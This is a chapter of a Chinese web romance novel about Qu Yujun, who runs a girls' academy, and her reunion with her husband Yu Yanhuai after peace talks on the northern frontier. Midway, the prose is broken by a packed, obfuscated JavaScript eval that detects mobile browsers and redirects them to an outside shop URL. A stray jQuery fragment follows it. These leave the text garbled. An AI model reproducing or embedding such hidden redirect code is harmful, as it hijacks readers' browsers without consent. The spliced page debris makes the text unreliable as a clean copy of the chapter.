109.小别
作品:《她死于新婚第二年》 自此事后,曲瑜珺再未收到于彦怀的来信,而她往北疆的去信也石沉大海。圣人在罢朝三日后,终于重新在朝臣面前现身,却绝口不提与肃呙和谈之事。
朝臣们知晓圣人这是还未从六皇子丧命的噩耗中走出来,可眼下形势如此,就算他们等得,肃呙未必能等得。
虽说此次事故是肃呙新王亲手斩杀了六皇子,可事故的起因却是六皇子带兵潜入了对方的营帐,若认真论起来,却是他们有错在先。
但眼下圣人还沉浸在丧子之痛中,是不肯去想这些的。
和谈之事一日推后一日,北疆那边连发几分急书都被圣人搁置。就这么过了大半月,终于有朝臣捱不住,在早朝之上重提和谈事宜。
据后来有朝臣说,当时大殿之上静得落针可闻,所有人连大气都不敢出。
好在圣人最终并未发怒,只说此事稍后再议。
这一稍后,便又过了一个月,和谈之事终于得圣人点头,得以继续推进。
大家都不约而同地松了一口气,只是曲瑜珺仍未再收到于彦怀的消息,一直到他随和谈使团一起回京。
和谈顺利结束,双方各有交易,并且约定五年内边关不起战事。
消息传回京城,曲瑜珺算着日子,想着要不了多久于彦怀便能归家。
“曲先生,你要的袖箭做好了。”
一身穿赭色劲衣的女子风风火火地走进来,眉宇间很有几分英气。
曲瑜珺将袖箭接过,正要倒了茶杯面前女子,却见女子一摆手,“昨日有几个学生弓都举不起,我得去给她们加练,耽搁不得。茶就下回再喝吧。”
这女子名唤祝琳,是曲瑜珺特意找来教学生们强身健体的武先生。
让学生们练武是曲瑜珺在遇到孟采柔之后萌生出的想法,她并不期望这个姑娘们能习得如何高超的武艺,哪怕只是能让身体更强壮一些也是好的。
而这件事一开始是被书院里学生们的父母所反对的,他们中的许多将女儿送来明智书院,为的便是能让女儿博得一个知书达理的名声,将来好说亲。要是能像邱惟珠那边能在皇后面前露脸,得到贵人的赏识,那更是再好不过。
而习武这件事是跟‘知书达理’、‘柔顺贞静’这样的字眼相违背的,哪家的贵女千金会去学拳脚功夫,实在是不雅。
可曲瑜珺却格外坚持,甚至放眼,若是不想让自家姑娘学,只管找她退学,束脩会一文不差地退给他们。
一开始许多父母都在犹豫观望,虽说让女子习武这件事的确不雅,但如今的明智书院正是炙手可热,若果真退了学,以后只怕不会再接收了吧?
所有人都在等待旁人有所行动,就这么一直等到曲瑜珺招来了武先生,正式开始教学生们武功招式,还没有人真的选择退学离开。
到如今,所有人也都默默接受了。
祝琳身为书院里唯一的武先生,十分地尽职尽责,有时候尽责到学生们一见她都躲着。这位先生操练起来,可是一点都不手下留情的。
前一阵子,祝琳拿了一个袖箭来给学生们瞧,曲瑜珺见了觉得十分精巧,祝琳当即表示能给她再做一个。
今日这就给送来了。她风风火火地来,连茶水都没喝上一口,又风风火火地走,只看得曲瑜珺失笑摇头。
她这厢刚要把茶水放下,就听得门口脚步声去而复返,当即含笑抬头,“又有什么……”
话刚说了一半便停住了,满眼惊喜地看着来人,“你什么时候回来的?”
“午时进得城门,随后立即跟几位大人一起入宫复命,一出宫便来这里寻你。”他一边说着,一边快步走到曲瑜珺面前。
曲瑜珺尚来不及开口,便被于彦怀抱起搁在书案上,几个月的思念化为一团火烧在于彦怀的眼睛里,只见他紧紧盯着曲瑜珺,仿佛要把这几个月的缺失尽数补上。
曲瑜珺被他盯得脸颊发烫,下意识转过头去,一眼瞥见大敞着的窗子,不由失色,立即伸手推了于彦怀一把,欲跳下书案关窗。
于彦怀却按住她的手,随即转身将窗子关上。
曲瑜珺趁着他转身的工夫,揉了揉自己的脸,开口问道:“使团今日回京,怎么之前没有听说消息?”
按照以往惯例,使团回京,至少要一名内阁大臣率官员迎接,皇子亲自出城相迎也有前例。
然而,此次使团回京,从入城门到进宫复命都十分安静。而且,据景淙所说,他们是午时进的城门,那等他们进到皇宫的时候,就还在饭时。作为顺利完成和谈任务的使团,没有赐宴宫中,更是说不过去。
等曲瑜珺想罢这些再抬头时,只看到一脸哀怨的于彦怀,“离开的这几个月我度日如年,自从和谈结束,我恨不得插上翅膀飞回来,如今好不容易见着你,你却只问我公务。”
曲瑜珺抬起手指点在于彦怀的眉心,而后顺着他的鼻梁缓缓向下,最终停在他的唇上,而后倾身靠近于彦怀,凑在他的耳边轻声道:“偏会冤枉人,你回府中书房瞧一瞧,便知晓你不在的这些日子我有多想你。”
说完之后,曲瑜珺往后退开,于彦怀却不准,伸手握住她的腰,侧头在她唇上啄了一下,好奇道:“是什么?”
“你自己回去看便知道了。”曲瑜珺低头要拨开于彦怀的手,于彦怀却哪里肯放?
模模糊糊的声音透过窗子的缝隙飘出来,“别咬,待会儿我还要……去给学生们讲学。”
“于彦怀,你的手再乱动,今晚就去书房睡!”
最终是曲瑜珺狠咬了于彦怀,于彦怀方将曲瑜珺放开。来不及整理衣襟,曲瑜珺慌忙取了搁在一旁的铜镜,这一瞧之下更是来气,直接将手中铜镜掷向于彦怀。
于彦怀伸手接住,脸上笑意不减,“抱歉,没忍住。”嘴上说着抱歉,却没从他脸上寻出半点歉意来。
曲瑜珺瞪他一眼,但也没法,只好找出胭脂来,将唇色欲盖弥彰一番。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710387|184030||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
好在丙班的学生们年纪都小,也不懂。待讲学结束之后,曲瑜珺便拉着于彦怀匆匆离开,生恐再遇到沈自歆她们。
一直到坐上马车,曲瑜珺才长长松了一口气。
“我们夫妻小别重逢,人之常情,就算旁人见了,也只会说我们夫妻感情好。”于彦怀噙着笑看向曲瑜珺。
曲瑜珺抬手捏了捏于彦怀的脸,“那是你脸皮厚。”
于彦怀心说,自己这一路可没少被那些同僚调侃,脸皮的确练厚了不少。
外头已经是同样的路,但因为身边坐着于彦怀,心情便也不一样了。
见着曲瑜珺侧头看过来,于彦怀什么都没说,只是将她的手握进掌心。
一路回到于府,于彦怀已经迫不及待想要知道书房里究竟有什么。
曲瑜珺却不肯同去,“你自去看便是,我要回房去换衣裳。对了,提醒你一下,东西搁在书房东边书架下的箱子里。”
于彦怀推门进到书房,径直走向东边的书架,那里的确搁着一个大箱子,他记得原来这个箱子是瑜珺拿来装旧书的。
他掀开箱子,原本搁在里头的书全都不见了,取而代之的是堆叠在一起的成摞的画卷。
他怀着不解的心情,取出最上头的一卷画轴,打开……
等到曲瑜珺来到书房的时候,于彦怀已经将箱子里的画看了大半,一幅幅都摊开着堆在地上。
听得脚步声,于彦怀抬眸去看,曲瑜珺换了一声轻便的素衣,头发只以锦带松松系着,她缓步走到于彦怀的身边蹲下,将周遭的画一个个收拾起来,口中道:“这些画,有时是清晨,有时是半夜,我在想你的时候便会提笔描绘你的样子,就当作你在我身边陪着。”
曲瑜珺将收拾好的画都抱在怀里,却听得身旁的于彦怀突然道:“你不该把画搁在这里的。”
“什么?”曲瑜珺下意识回头,却被于彦怀陡然抱起,她尚来不及惊呼出声,便听得于彦怀在耳边低喃:“书案有些硬,你待会儿抱紧我。”
于彦怀抱着曲瑜珺离去,只留下后面散落了一地的画卷,这些画卷半开半合,上头无一例外都是同一个人。或坐或站、或行或卧,素白直缀、绛紫官服,从来唯于彦怀一人而已。
待曲瑜珺能吃上饭时,外头已经是一片漆黑。
“北疆那边的吃食虽比不上京城的丰富,却也另有一番风味。”
曲瑜珺却不搭话,只闷着头吃饭。
于彦怀无奈,只好改换了话头,“圣人这次只怕要动些干戈了。”
明知道于彦怀是故意说起这个,要引自己开口,但曲瑜珺也实在好奇,“六皇子他究竟为何会突然闯去肃呙那边的军营?”
于彦怀摇头,“自从六皇子出事之后,圣人就命人将我们看管了起来,一直到回京才许我们回家同家人团聚。”这也是他后来一直没能再给曲瑜珺写信的原因。
“看管?圣人怀疑是你们其中有人……”

